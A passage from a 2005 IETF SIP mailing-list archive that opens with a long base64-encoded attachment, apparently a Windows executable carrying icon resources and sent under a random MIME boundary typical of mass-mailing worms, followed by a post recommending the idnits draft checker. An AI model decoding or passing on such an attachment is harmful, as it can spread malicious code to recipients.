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 QAAAAACAAAAAh0REREREREdwdwdwgAAAAIdERERERERHcHcHcIAAAACHRERERERERERERESA AAAAh3d3d3d3d3d3d3d3gAAAAIiIiIiIiIiIiIiIiIDwAAf/8AAD//AAAf/wAAD/8AAAf/AA AD/wAAA/8AAAP/AAAD/wAAAA8AAAAPAAAADgAAAAwAAAAIAAAAAAAAAAgAAAAMAAAADgAAAA 9AAAAPwAAAD8AAAA/AAAAPwAAAD8AAAA/AAAAPwAAAD8AAAA/AAAAPwAAAD8AAAA/AAAACgA AAAQAAAAIAAAAAEABAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAA gAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAA AAAAgzMzMzAAAACPe3t7MwAAAI+3t7czAAAAj3t7ezMAAACDMzMzAwiACDM///8wD4CD9zMz MzMPgAN/P///8z+AADP3f3f3M4AACPEfZvRPgAAI+R/m/E+AAAj//////4AACERERAAAgAAI REREcHCAAAiIiIiIiIDAH497wA97e8AHMzPABwAAwACPt8AAt7eAADMzAAAAAIAAj3vAAHt7 4AAzM+AAiIDgAIMz4AAzM+AAAzPgAHeAAAABAAIAICAQAAEABADoAgAAAQAQEBAAAQAEACgB AAACAFQuKFZlkbhkLXxjbpdCliYLC0B5FqmVhYtBlnmwKldnnQF1OEB+UIOwpjZ8L3VdMRS0 qogairu9P4XGlcRHt1i7mhWfXzaFQymGXjS5hw5AFxBcFoJeFYOpLaY0whlSxZu0CDSXUrdY D0yKRGm3aA+lEb2RG1Woe5AUFjvEDAVhRmElaqQ0fScCUmufF3NsAxIUeri+M8bBBnePEWyE eRSoPasJL2VqICBRgYIfsHxdtwI2hUcUiCJlKmi6cEqcpXKsr6RZNX4rQSyEx2YBA3JZUjZo YnI6B2SCWC1FeLteAEN2WJ8YJ3O8uDACVxCWQb93WntPkF+JBqVMVneMLYmTf6wSZxOXnA+X C71xJnpqsHElg8cLHXKUqTgRT8NzvWhHDGaSiBeMXCeiG7tIHqWdA0a8FWthX7cFEqMtjIRu MZ8QBlmjQmpZtCfGwXaIh0lIR0JXc7xnYrGaQL0QvH66wkFvcrKUnwaVvsZfpDtMYIsVNnUK LhkGHT1KpTl+HZV0j3K0lbpFq6GfjoW8pwwVqAacCTZADpSRiqVlV46wAAmLGxaImkkpRmSe GaC4hUw+EF4lA15aYJe7ewV6uVscYCqznVlMScaspb6qKbrCcT+OZTpmI4iUcg6XpaefPZeL kgxNMSAjnANwxyq0AnYOnbSDZlcsaIGMGkKPE3iNci0xVzaTmcKbjWSgwnkPvlpCHDK0uIEK w7AlZrc/S5ZcODJNiQUXMKQDXUA6wqBATTpZKVFwloYbCjxsBU28S1ehmK6ZiFChTzA5d497 fp6PiUECqk4XGCVHcpQHHq5BglM+VG2PEKN9rqOSJRWaOFIzppPCtHJdox0UZ0JQZCdNW7wc u3eulTZ5tbkHvyhrdFdnBkoHLRNIwAJGirC9TRHALJCXMZlSlEVZWMOBhBpgR1gXcChZkqBv V582Og8dP4YsVIsIAbsRJ0F+F3iCX2WuKKG6MK5UlrJpYX85aWueBW0SRqIXncVdW7fBJ1me JGeyXpteTmxcGVsdkF+NWkokOh4pqK+XmYOYn1KZEB4mbRsPNH8lnqd6UW+vUZx9CcQTd32r Q8BQYiSsk3hJVkW1DCBcv4crUrlyd6R5ini+wxEBrwqiqWKviJl6uqtGeTRAqUMTcCBJpSIp hmkamElWumwWDbAlOrwsMhS+s1wMvw6jkSGhQmc6V1S9dnM/jTufuUvHThGKAaAZg6J0Gb4M AEZLlX+RQWF6RGoiMjxpL0lgeE1awyx2UzsaeZtuhEQ7PLeqbo2zoL8ekXcfdGl8qhJ6L1d7 CVYSkJZMF5iLM4cTrME9u8ChlhYqGwupbmfALRoAxxPEWqxbHB7GfJHESJN+A7lUtjk5cAoF YHxyi7y6l3UGpWCfmn1BrHGhbU0Uo2dMjGGYLq63jlmQMo1+aqbFRpBtfqCzWY5Xmg== ----------agnfvesrvgwxsqwfgizk Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip ----------agnfvesrvgwxsqwfgizk-- From sip-bounces@ietf.org Sun Feb 27 13:51:38 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22125 for ; Sun, 27 Feb 2005 13:51:37 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5TWY-0003K9-Lp for sip-web-archive@ietf.org; Sun, 27 Feb 2005 13:52:15 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5TSp-0005hs-FC; Sun, 27 Feb 2005 13:48:23 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5TSn-0005e3-TF for sip@megatron.ietf.org; Sun, 27 Feb 2005 13:48:21 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21861 for ; Sun, 27 Feb 2005 13:48:20 -0500 (EST) Received: from nylon.softarmor.com ([66.135.38.164]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5TTN-0003Eb-Jt for sip@ietf.org; Sun, 27 Feb 2005 13:48:58 -0500 Received: from [206.176.144.210] (206-176-144-210.waymark.net [206.176.144.210] (may be forged)) (authenticated bits=0) by nylon.softarmor.com (8.13.1/8.12.11) with ESMTP id j1RIo9DN020096 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 27 Feb 2005 12:50:10 -0600 Message-ID: <422217B4.2050502@softarmor.com> Date: Sun, 27 Feb 2005 12:55:48 -0600 From: Dean Willis User-Agent: Mozilla Thunderbird 0.8 (X11/20040913) X-Accept-Language: en-us, en MIME-Version: 1.0 To: sip@ietf.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 Content-Transfer-Encoding: 7bit Subject: [Sip] Internet Draft Format Checking Tool -- idnits X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Content-Transfer-Encoding: 7bit Wonder if your I-D "has all the right stuff?" Well, I don't know an easy way to tell you that. But the idnits tool, available at: http://ietf.levkowetz.com/tools/idnits/ may tell you whether your draft is MISSING some of the right stuff. It would probably be a good idea to start giving all drafts a whack with this before sending them in. This would help to have prevented a couple of SIP drafts that were recenly rejected by the internet-drafts reviewer from being rejected. We know those folks are busy, so let's try and help them out in the future. Thanks, -- dean _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 28 10:01:42 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27023 for ; Mon, 28 Feb 2005 10:01:42 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5mPm-0000Pp-9A for sip-web-archive@ietf.org; Mon, 28 Feb 2005 10:02:31 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5mOc-0001GY-Lt; Mon, 28 Feb 2005 10:01:18 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5mOa-0001GK-Kp for sip@megatron.ietf.org; Mon, 28 Feb 2005 10:01:16 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26997 for ; Mon, 28 Feb 2005 10:01:15 -0500 (EST) Received: from magus.nostrum.com ([69.5.195.2] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5mPL-0000PR-19 for sip@ietf.org; Mon, 28 Feb 2005 10:02:04 -0500 Received: from [192.168.0.106] 